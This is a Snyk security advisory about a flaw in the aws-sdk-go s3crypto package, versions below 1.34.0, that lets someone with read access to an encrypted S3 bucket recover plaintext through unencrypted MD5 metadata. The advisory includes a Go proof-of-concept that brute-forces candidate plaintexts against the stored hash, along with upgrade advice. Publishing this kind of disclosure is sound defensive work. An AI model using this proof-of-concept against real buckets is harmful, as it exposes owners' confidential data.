Arbitrary File Read Affecting github.com/aws/aws-sdk-go/service/s3/s3crypto package, versions <1.34.0
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of concept
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMAWSAWSSDKGOSERVICES3S3CRYPTO-2400633
- published13 Feb 2022
- disclosed11 Feb 2022
- creditSophie Schmieg
Introduced: 11 Feb 2022
CVE NOT AVAILABLE CWE-22 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade github.com/aws/aws-sdk-go/service/s3/s3crypto to version 1.34.0 or higher.
Overview
github.com/aws/aws-sdk-go/service/s3/s3crypto is an AWS SDK for the Go programming language.
Affected versions of this package are vulnerable to Arbitrary File Read. An attacker with read access to an encrypted S3 bucket is able to recover the plaintext without accessing the encryption key.
PoC:
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}
References
CVSS Scores
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